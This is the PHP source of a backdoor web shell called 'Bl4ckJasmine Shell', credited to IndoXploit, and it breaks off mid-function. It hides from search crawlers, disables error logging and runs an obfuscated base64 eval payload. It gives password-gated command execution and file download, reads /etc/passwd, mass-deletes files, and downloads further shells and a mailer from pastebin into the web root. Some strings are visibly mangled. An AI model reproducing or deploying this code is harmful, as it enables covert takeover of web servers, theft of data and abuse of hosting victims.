· 9 years ago · Jul 15, 2017, 08:54 AM
1<?php @set_magic_quotes_runtime(0);
2@clearstatcache();
3@ini_set('error_log', NULL);
4@ini_set('log_errors', 0);
5@ini_set('max_execution_time', 0);
6@ini_set('output_buffering', 0);
7@ini_set('display_errors', 0);
8$SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
9$FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
10if (!empty($_SERVER['HTTP_USER_AGENT'])) {
11 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
12 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
13 header('HTTP/1.0 404 Not Found');
14 exit;
15 }
16}
17function login_shell() {
18?>
19<!DOCTYPE HTML>
20<html>
21<head>
22<title>Bl4ckJasmine Shell</title>
23<style type="text/css">
24html {
25 margin: 20px auto;
26 background: #000000;
27 color: green;
28 text-align: center;
29}
30header {
31 color: red;
32 margin: 10px auto;
33}
34input[type=password] {
35 width: 250px;
36 height: 25px;
37 color: gray;
38 background: transparent;
39 border: 1px dotted black;
40 margin-left: 20px;
41 text-align: center;
42}
43</style>
44</head>
45<center>
46<header>
47 <pre>
48
49
50 _
51 (\ _ ___
52 .-"`"(\ _.""` `"-.
53 / ` `-._ _.-" `\__
54 6 6) `-.__.-' `",
55 / `;-`
56 / , |
57 () / /` |
58 `---`"~``\ |
59 \ |
60 \ \ / /
61 /`, , | | /
62 / "-.| | | /'
63 / / | /,__ | /`\
64 blj / /' | / `"'\ ( \
65 __/ /' | | `\ \ \
66 \ / | | `\ \ \
67 `-,/ / | / |-"`
68 `"""^^^ `^^""""`
69
70 </pre>
71</header>
72<form method="post">
73<input type="password" name="password">
74</form>
75<?php
76 exit;
77}
78if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($password) || (isset($_POST['password']) && (md5($_POST['password']) == $password))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
79else login_shell();
80if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
81 @ob_clean();
82 $file = $_GET['file'];
83 header('Content-Description: File Transfer');
84 header('Content-Type: application/octet-stream');
85 header('Content-Disposition: attachment; filename="' . basename($file) . '"');
86 header('Expires: 0');
87 header('Cache-Control: must-revalidate');
88 header('Pragma: public');
89 header('Content-Length: ' . filesize($file));
90 readfile($file);
91 exit;
92}
93///path dir
94$untukdir = "JF9LPV9fU1RVUElEX187DQokX0M9ImJaSFJUb013RklhdlI4STdIQnN1SU1QTjY1RWxxR3V5eFJnVW1EZUxJUVVxWXdOS2FISEJ4WGNYV25FbTJ2VHF6M2UrYzNwcXZPYzhGd2tzd1lqdVBlOWhnM2RJUmh5OU9ycVd2NEZwak1nU0VMTGdyR3NBWTliWDNUaVhnRFZTRkdEL0Jmczc1T05ITDhUUjdXcmxTMXVQbldnTXcvbU5yY1B3S1ZwN1FUaENlWFg0QS9uNGVZdURNTnI2bXhFVHBNbW9HTENHbk5xbVNHbkNVbW9PUFdhRHcxTFlvVTNiUXRwUXdUSm9LRzhMQVhzaDZzVjhQa3JpN3VjSlNKWEZMTzNVRU9pdXpSYndEd25YWUpCVzdLT2FjSzdLaG9WZDBiSVduWnpENnZjRmJrbnl3a1NrSXNlU1ZBbmhwSEt6SVpzbHJFUzJHdENXRGUyTHozTGdVOWY2U3d0T2U4djN5cWRUbWJ1Y2lvU3hZMDVOOVY4ZnZVZ1Jsak9aZkFFPQkiOw0KZXZhbChiYXNlNjRfZGVjb2RlKCJKRjlEUFdkNmFXNW1iR0YwWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmUXlrcE93MEtKRjlWUFdWeVpXZGZjbVZ3YkdGalpTZ25YMTlUVkZWUVNVUmZYeWNzSWljaUxpUmZTeTRpSnlJc0pGOURLVHNOQ21WMllXd29KRjlWS1RzTkNpUmZWVDB3T3cwS0pGOURQVEE3Q1E9PQkiKSk7DQo= ";
95eval(base64_decode($untukdir));
96if (get_magic_quotes_gpc()) {
97 function idx_ss($array) {
98 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
99 }
100 $_POST = idx_ss($_POST);
101}
102?>
103<!DOCTYPE HTML>
104<html>
105<!--
106###############################################################################
107// Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
108// Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
109// Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
110// Tanpa kalian kita tidak akan BESAR seperti sekarang.
111// Greetz: All Member IndoXploit. & All My Friends.
112###############################################################################
113// Special Thanks: Depok Cyber Security | Sanjungan Jiwa | 0x1999
114###############################################################################
115-->
116<head>
117<title>Bl4ckJasmine Shell</title>
118<meta name='author' content='IndoXploit'>
119<meta charset="UTF-8">
120<style type='text/css'>
121html {
122 background: #000000;
123 color: #ffffff;
124 font-size: 14px;
125 width: 100%;
126}
127
128li {
129 display: inline;
130 margin: 5px;
131 padding: 5px;
132}
133
134a {
135 color: #ffffff;
136 text-decoration: none;
137}
138
139a:hover {
140 color: gold;
141 text-decoration: underline;
142}
143
144b {
145 color: gold;
146}
147
148pre {
149 font-size: 13px;
150}
151
152table, th, td {
153 margin : 2px;
154 padding: 2px;
155 border-collapse:collapse;
156 background: transparent;
157 font-family: 'courier';
158 font-size: 12px;
159}
160
161.table_home, .th_home, .td_home {
162
163 border: 1px solid #292e28;
164}
165
166.th_home {
167 color: lime;
168}
169
170.td_home, .td_home > a {
171 color: #ffffff;
172}
173
174.td_home > a:hover {
175 color: gold;
176}
177
178th {
179 padding: 3px;
180}
181
182tr:hover {
183 background: #006400;
184 color: #ffffff;
185}
186
187input[type=text], input[type=password], .input {
188 background: transparent;
189 color: #ffffff;
190 border: 1px solid #ffffff;
191 padding: 3px;
192 font-family: 'courier';
193 font-size: 13px;
194}
195
196
197
198input:focus, textarea:focus {
199 outline: 0;
200 border-color: #ffffff;
201}
202
203textarea {
204 border: 1px solid #ffffff;
205 width: 40%;
206 height: 400px;
207 padding-left: 5px;
208 margin: 10px auto;
209 resize: none;
210 background: transparent;
211 color: #ffffff;
212 font-family: 'courier';
213 font-size: 13px;
214}
215iframe {
216 width: 100%;
217 min-height: 500px;
218}
219</style>
220</head>
221<body>
222<?php
223function path() {
224 if (isset($_GET['dir'])) {
225 $dir = str_replace("\", " / ", $_GET['dir']);
226 @chdir($dir);
227 } else {
228 $dir = str_replace("\", " / ", getcwd());
229 }
230 return $dir;
231}
232
233function color($bold = 1, $colorid = null, $string = null) {
234 $color = array(
235 " < / font > ", # 0 off
236 " < fontcolor = 'red' > ", # 1 red
237 " < fontcolor = 'lime' > ", # 2 lime
238 " < fontcolor = 'white' > ", # 3 white
239 " < fontcolor = 'gold' > ", # 4 gold
240 " < fontcolor = 'green' > ", # 5 green
241 " < fontcolor = 'purple' > ", # 6 purle
242 " < fontcolor = 'pink' > ", # 7 pink
243 );
244
245 return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
246}
247
248function OS() {
249 return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
250}
251
252function exe($cmd) {
253 if(function_exists('system')) {
254 @ob_start();
255 @system($cmd);
256 $buff = @ob_get_contents();
257 @ob_end_clean();
258 return $buff;
259 } elseif(function_exists('exec')) {
260 @exec($cmd,$results);
261 $buff = "";
262 foreach($results as $result) {
263 $buff .= $result;
264 } return $buff;
265 } elseif(function_exists('passthru')) {
266 @ob_start();
267 @passthru($cmd);
268 $buff = @ob_get_contents();
269 @ob_end_clean();
270 return $buff;
271 } elseif(function_exists('shell_exec')) {
272 $buff = @shell_exec($cmd);
273 return $buff;
274 }
275}
276
277function save($filename, $mode, $file) {
278 $handle = fopen($filename, $mode);
279 fwrite($handle, $file);
280 fclose($handle);
281 return;
282}
283
284function getfile($name) {
285 if(!is_writable(path())) die(color(1, 1, "Directory'".path()."'isnotwriteable . Can't spawn $name."));
286 if($name === "-a") $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php");
287 elseif($name === "-p") $get = array("https://pastebin.com/raw/XVU8EeTZ", "pasirmerah.php");
288 elseif($name === "-i") $get = array("https://pastebin.com/raw/nC6pWh5a", "indoxploit.php");
289 elseif($name === "-s") $get = array("https://raw.githubusercontent.com/sinkaroid/pasirmerah/sc0/sabun.php", "sabun.php");
290
291 elseif($name === "-w") $get = array("https://pastebin.com/raw/xagjqVUf", "wso.php");
292 elseif($name === "-d") $get = array("http://pastebin.com/raw/6Sp89ryJ", "dump.php");
293 elseif($name === "-m") $get = array("https://pastebin.com/raw/9RxQM885", "magentools.php");
294
295 elseif($name === "-h") $get = array("http://pastebin.com/raw/exwC4G2T", "hsphere.php");
296 elseif($name === "-aa") $get = array("http://pastebin.com/raw/qNpQ8uPnJ", "anon.php");
297 elseif($name === "-ww") $get = array("https://pastebin.com/raw/ZpPST0eT", "weevely.php");
298 elseif($name === "-ma") $get = array("http://pastebin.com/raw/bv9wDvqZ", "mailer.php");
299
300 $fp = fopen($get[1], "w");
301 $ch = curl_init();
302 curl_setopt($ch, CURLOPT_URL, $get[0]);
303 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
304 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
305 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
306 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
307 curl_setopt($ch, CURLOPT_FILE, $fp);
308 return curl_exec($ch);
309 curl_close($ch);
310 fclose($fp);
311 ob_flush();
312 flush();
313}
314
315function usergroup() {
316 if(!function_exists('posix_getegid')) {
317 $user['name'] = @get_current_user();
318 $user['uid'] = @getmyuid();
319 $user['gid'] = @getmygid();
320 $user['group'] = "?";
321 } else {
322 $user['uid'] = @posix_getpwuid(posix_geteuid());
323 $user['gid'] = @posix_getgrgid(posix_getegid());
324 $user['name'] = $user['uid']['name'];
325 $user['uid'] = $user['uid']['uid'];
326 $user['group'] = $user['gid']['name'];
327 $user['gid'] = $user['gid']['gid'];
328 }
329 return (object) $user;
330}
331
332function getuser() {
333 $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can'tread / etc / passwd"));
334 while($read = fgets($fopen)) {
335 preg_match_all('/(.*?):x:/', $read, $getuser);
336 $user[] = $getuser[1][0];
337 }
338 return $user;
339}
340
341function getdomainname() {
342 $fopen = fopen(" / etc / named . conf", "r");
343 while($read = fgets($fopen)) {
344 preg_match_all(" #/var/named/(.*?).db#", $read, $getdomain);
345 $domain[] = $getdomain[1][0];
346 }
347 return $domain;
348}
349function hddsize($size) {
350 if ($size >= 1073741824) return sprintf('%1.2f', $size / 1073741824) . ' GB';
351 elseif ($size >= 1048576) return sprintf('%1.2f', $size / 1048576) . ' MB';
352 elseif ($size >= 1024) return sprintf('%1.2f', $size / 1024) . ' KB';
353 else return $size . ' B';
354}
355function hdd() {
356 $hdd['size'] = hddsize(disk_total_space("/"));
357 $hdd['free'] = hddsize(disk_free_space("/"));
358 $hdd['used'] = $hdd['size'] - $hdd['free'];
359 return (object)$hdd;
360}
361function writeable($path, $perms) {
362 return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
363}
364function perms($path) {
365 $perms = fileperms($path);
366 if (($perms & 0xC000) == 0xC000) {
367 // Socket
368 $info = 's';
369 } elseif (($perms & 0xA000) == 0xA000) {
370 // Symbolic Link
371 $info = 'l';
372 } elseif (($perms & 0x8000) == 0x8000) {
373 // Regular
374 $info = '-';
375 } elseif (($perms & 0x6000) == 0x6000) {
376 // Block special
377 $info = 'b';
378 } elseif (($perms & 0x4000) == 0x4000) {
379 // Directory
380 $info = 'd';
381 } elseif (($perms & 0x2000) == 0x2000) {
382 // Character special
383 $info = 'c';
384 } elseif (($perms & 0x1000) == 0x1000) {
385 // FIFO pipe
386 $info = 'p';
387 } else {
388 // Unknown
389 $info = 'u';
390 }
391 // Owner
392 $info.= (($perms & 0x0100) ? 'r' : '-');
393 $info.= (($perms & 0x0080) ? 'w' : '-');
394 $info.= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
395 // Group
396 $info.= (($perms & 0x0020) ? 'r' : '-');
397 $info.= (($perms & 0x0010) ? 'w' : '-');
398 $info.= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
399 // World
400 $info.= (($perms & 0x0004) ? 'r' : '-');
401 $info.= (($perms & 0x0002) ? 'w' : '-');
402 $info.= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
403 return $info;
404}
405function lib_installed() {
406 $lib[] = "MySQL: " . (function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
407 $lib[] = "cURL: " . (function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
408 $lib[] = "WGET: " . (exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
409 $lib[] = "Perl: " . (exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
410 $lib[] = "Python: " . (exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
411 return implode(" | ", $lib);
412}
413function pwd() {
414 $dir = explode("/", path());
415 foreach ($dir as $key => $index) {
416 print "<a href='?dir=";
417 for ($i = 0;$i <= $key;$i++) {
418 print $dir[$i];
419 if ($i != $key) {
420 print "/";
421 }
422 }
423 print "'>$index</a>/";
424 }
425 print "<br>";
426 print (OS() === "Windows") ? windisk() : "";
427}
428function windisk() {
429 $letters = "";
430 $v = explode("\", path());
431 $v = $v[0];
432 foreach(range("A", "Z") as $letter) {
433 $bool = $isdiskette = in_array($letter, array("A"));
434 if(!$bool) $bool = is_dir("$letter:
435 \");
436 if($bool) {
437 $letters .= "[ < ahref = '?dir=$letter:\'".($isdiskette?" onclick=\"return confirm('Makesurethatthedisketteisinsertedproperly, otherwiseanerrormayoccur . ')\"":"").">";
438 if($letter.":" != $v) {
439 $letters .= $letter;
440 }
441 else {
442 $letters .= color(1, 2, $letter);
443 }
444 $letters .= "</a> ]";
445 }
446 }
447 if(!empty($letters)) {
448 print "Detected Drives $letters<br>";
449 }
450 if(count($quicklaunch) > 0) {
451 foreach($quicklaunch as $item) {
452 $v = realpath(path(). "..");
453 if(empty($v)) {
454 $a = explode(DIRECTORY_SEPARATOR,path());
455 unset($a[count($a)-2]);
456 $v = join(DIRECTORY_SEPARATOR, $a);
457 }
458 print "<a href='".$item[1]."'>".$item[0]."</a>";
459 }
460 }
461}
462function serverinfo()
463{
464 print ' < center > ';
465 $disable_functions = @ini_get('disable_functions');
466 $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
467 $output[] = "!".color(1, 2, $GLOBALS['SERVERIP'])."!";
468 $output[] = color(5, 5, $_SERVER['SERVER_SOFTWARE']);
469 $output[] = color(5, 5, php_uname());
470 $output[] = color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
471 $output[] = "SAFEMODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
472 $output[] = "DF: $disable_functions";
473 $output[] = lib_installed();
474 $output[] = "cwd : (".writeable(path(), perms(path())).") ";
475 print "<pre>";
476
477 print implode("<br>", $output);
478
479 pwd();
480 print "</pre>";
481
482}
483function curl($url, $post = false, $data = null) {
484 $ch = curl_init($url);
485 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
486 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
487 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
488 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
489 curl_setopt($ch, CURLOPT_TIMEOUT, 10);
490 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
491 if($post) {
492 curl_setopt($ch, CURLOPT_POST, true);
493 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
494 }
495 $curl['exec'] = curl_exec($ch);
496 $curl['info'] = curl_getinfo($ch);
497
498 return [
499 "info" => $curl['info'],
500 "response" => $curl['exec']
501 ];
502
503 curl_close($ch);
504}
505
506function reverse() {
507 $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS['SERVERIP']."&ket=")['response'];
508 $response = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $response)))))))))))));
509 $explode = explode(",, ", $response);
510 unset($explode[0]);
511
512 foreach($explode as $domain) {
513 $domain = "http: //$domain";
514 $domain = str_replace(",", "", $domain);
515 $url[] = $domain;
516 ob_flush();
517 flush();
518 }
519 return $url;
520 }
521 function getValue($param, $kata1, $kata2) {
522 if (strpos($param, $kata1) === FALSE) return FALSE;
523 if (strpos($param, $kata2) === FALSE) return FALSE;
524 $start = strpos($param, $kata1) + strlen($kata1);
525 $end = strpos($param, $kata2, $start);
526 $return = substr($param, $start, $end - $start);
527 return $return;
528 }
529 function massdelete($dir, $filename) {
530 $scandir = scandir($dir);
531 foreach ($scandir as $dir_) {
532 $path = "$dir/$dir_";
533 $location = "$path/$filename";
534 if ($dir_ === '.') {
535 if (file_exists("$dir/$filename")) {
536 unlink("$dir/$filename");
537 }
538 } elseif ($dir_ === '..') {
539 if (file_exists(dirname($dir) . "/$filename")) {
540 unlink(dirname($dir) . "/$filename");
541 }
542 } else {
543 if (is_dir($path) AND is_writable($path)) {
544 if (file_exists($location)) {
545 print "[" . color(1, 2, "DELETED") . "] " . color(1, 4, $location) . "<br>";
546 unlink($location);
547 massdelete($path, $filename);
548 }
549 }
550 }
551 }
552 }
553 function tools($toolsname, $args = null) {
554 if ($toolsname === "cmd") {
555 print "<form method='post' action='?njing=cmd&dir=" . path() . "' style='margin-top: 15px;'>
556 <font size='3' color='red'>
557 " . usergroup()->name . "@" . $GLOBALS['SERVERIP'] . ": ~ $
558 </font><input style='border: none; border-bottom: 1px solid #FFD700;' type='text' name='cmd' required>
559 <input class='input' type='submit' value='>>'>
560 </form>";
561 echo "
562 <br>
563 <font size='3' color='green'><i>type 'help' for more tools</i></font>
564 <br>
565
566 ";
567 } elseif ($toolsname === "readfile") {
568 if (empty($args)) die(color(1, 1, $msg));
569 if (!is_file($args)) die(color(1, 1, "File '$args' is not exists."));
570 print "<pre>";
571 print htmlspecialchars(file_get_contents($args));
572 print "</pre>";
573 } elseif ($toolsname === "spawn") {
574 if ($args === "-a") {
575 if (file_exists("adminer.php")) {
576 print "Login Adminer: <a href='" . $GLOBALS['FILEPATH'] . "/adminer.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/adminer.php</a>";
577 } else {
578 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'Adminer'."));
579 if (getfile("-a")) {
580 print "Login Adminer: <a href='" . $GLOBALS['FILEPATH'] . "/adminer.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/adminer.php</a>";
581 } else {
582 print color(1, 1, "Error while downloading file Adminer.");
583 @unlink("adminer.php");
584 }
585 }
586 } elseif ($toolsname === "spawn") {
587 if ($args === "-p") {
588 if (file_exists("pasirmerah.php")) {
589 print "pasirmerah: <a href='" . $GLOBALS['FILEPATH'] . "/pasirmerah.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/pasirmerah.php</a>";
590 } else {
591 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'pasirmerah'."));
592 if (getfile("-p")) {
593 print "pasirmerah: <a href='" . $GLOBALS['FILEPATH'] . "/pasirmerah.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/pasirmerah.php</a>";
594 } else {
595 print color(1, 1, "Error while downloading file pasirmerah.");
596 @unlink("pasirmerah.php");
597 }
598 }
599 }
600 }
601 if ($toolsname === "spawn") {
602 if ($args === "-i") {
603 if (file_exists("indoxploit.php")) {
604 print "indoxploit: <a href='" . $GLOBALS['FILEPATH'] . "/indoxploit.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/indoxploit.php</a>";
605 } else {
606 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'indoxploit'."));
607 if (getfile("-i")) {
608 print "indoxploit: <a href='" . $GLOBALS['FILEPATH'] . "/indoxploit.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/indoxploit.php</a>";
609 } else {
610 print color(1, 1, "Error while downloading file indoxploit.");
611 @unlink("indoxploit.php");
612 }
613 }
614 }
615 }
616 if ($toolsname === "spawn") {
617 if ($args === "-s") {
618 if (file_exists("sabun.php")) {
619 print "sabun: <a href='" . $GLOBALS['FILEPATH'] . "/sabun.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/sabun.php</a>";
620 } else {
621 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'sabun'."));
622 if (getfile("-s")) {
623 print "sabun: <a href='" . $GLOBALS['FILEPATH'] . "/sabun.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/sabun.php</a>";
624 } else {
625 print color(1, 1, "Error while downloading file sabun.");
626 @unlink("sabun.php");
627 }
628 }
629 }
630 }
631 if ($toolsname === "spawn") {
632 if ($args === "-d") {
633 if (file_exists("dump.php")) {
634 print "dump: <a href='" . $GLOBALS['FILEPATH'] . "/dump.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/dump.php</a>";
635 } else {
636 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'dump'."));
637 if (getfile("-d")) {
638 print "dump: <a href='" . $GLOBALS['FILEPATH'] . "/dump.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/dump.php</a>";
639 } else {
640 print color(1, 1, "Error while downloading file dump.");
641 @unlink("dump.php");
642 }
643 }
644 }
645 }
646 if ($toolsname === "spawn") {
647 if ($args === "-m") {
648 if (file_exists("magentools.php")) {
649 print "magentools: <a href='" . $GLOBALS['FILEPATH'] . "/magentools.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/magentools.php</a>";
650 } else {
651 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'magentools'."));
652 if (getfile("-m")) {
653 print "magentools: <a href='" . $GLOBALS['FILEPATH'] . "/magentools.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/magentools.php</a>";
654 } else {
655 print color(1, 1, "Error while downloading file magentools.");
656 @unlink("magentools.php");
657 }
658 }
659 }
660 }
661 if ($toolsname === "spawn") {
662 if ($args === "-h") {
663 if (file_exists("hsphere.php")) {
664 print "hsphere: <a href='" . $GLOBALS['FILEPATH'] . "/hsphere.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/hsphere.php</a>";
665 } else {
666 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'hsphere'."));
667 if (getfile("-h")) {
668 print "hsphere: <a href='" . $GLOBALS['FILEPATH'] . "/hsphere.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/hsphere.php</a>";
669 } else {
670 print color(1, 1, "Error while downloading file hsphere.");
671 @unlink("hsphere.php");
672 }
673 }
674 }
675 }
676 if ($toolsname === "spawn") {
677 if ($args === "-aa") {
678 if (file_exists("anon.php")) {
679 print "anon: <a href='" . $GLOBALS['FILEPATH'] . "/anon.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/anon.php</a>";
680 } else {
681 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'anon'."));
682 if (getfile("-aa")) {
683 print "Anonghost: <a href='" . $GLOBALS['FILEPATH'] . "/anon.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/anon.php</a>";
684 } else {
685 print color(1, 1, "Error while downloading file anon.");
686 @unlink("anon.php");
687 }
688 }
689 }
690 }
691 if ($toolsname === "spawn") {
692 if ($args === "-ma") {
693 if (file_exists("mailer.php")) {
694 print "mailer: <a href='" . $GLOBALS['FILEPATH'] . "/mailer.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/mailer.php</a>";
695 } else {
696 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'mailer'."));
697 if (getfile("-ma")) {
698 print "mailer: <a href='" . $GLOBALS['FILEPATH'] . "/mailer.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/mailer.php</a>";
699 } else {
700 print color(1, 1, "Error while downloading file mailer.");
701 @unlink("mailer.php");
702 }
703 }
704 }
705 }
706 if ($toolsname === "spawn") {
707 if ($args === "-ww") {
708 if (file_exists("weevely.php")) {
709 print "weevely: <a href='" . $GLOBALS['FILEPATH'] . "/weevely.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/weevely.php</a>";
710 } else {
711 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'weevely'."));
712 if (getfile("-ww")) {
713 print "weevely: <a href='" . $GLOBALS['FILEPATH'] . "/weevely.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/weevely.php</a>";
714 } else {
715 print color(1, 1, "Error while downloading file weevely.");
716 @unlink("weevely.php");
717 }
718 }
719 }
720 } elseif ($args === "cgitelnet1") {
721 if (file_exists("idx_cgi/cgitelnet1.idx")) {
722 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
723 } elseif (file_exists('cgitelnet1.idx')) {
724 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
725 } else {
726 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create directory 'idx_cgi'."));
727 if (!is_dir(path() . "/idx_cgi/")) {
728 @mkdir('idx_cgi', 0755);
729 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
730 }
731 if (getfile("cgitelnet1")) {
732 chmod('idx_cgi/cgitelnet1.idx', 0755);
733 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
734 } else {
735 print color(1, 1, "Error while downloading file CGI Telnet.");
736 @rmdir(path() . "/idx_cgi/");
737 if (!@rmdir(path() . "/idx_cgi/") AND OS() === "Linux") @exe("rm -rf " . path() . "/idx_cgi/");
738 if (!@rmdir(path() . "/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q " . path() . "/idx_cgi/");
739 }
740 }
741 } elseif ($args === "cgitelnet2") {
742 if (file_exists("idx_cgi/cgitelnet2.idx")) {
743 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
744 } elseif (file_exists('cgitelnet2.idx')) {
745 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>";
746 } else {
747 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create directory 'idx_cgi'."));
748 if (!is_dir(path() . "/idx_cgi/")) {
749 @mkdir('idx_cgi', 0755);
750 save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
751 }
752 if (getfile("cgitelnet2")) {
753 chmod('idx_cgi/cgitelnet2.idx', 0755);
754 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
755 } else {
756 print color(1, 1, "Error while downloading file CGI Telnet.");
757 @rmdir(path() . "/idx_cgi/");
758 if (!@rmdir(path() . "/idx_cgi/") AND OS() === "Linux") @exe("rm -rf " . path() . "/idx_cgi/");
759 if (!@rmdir(path() . "/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q " . path() . "/idx_cgi/");
760 }
761 }
762 } elseif ($args === "phpinfo") {
763 if (file_exists('phpinfo.php') AND preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) {
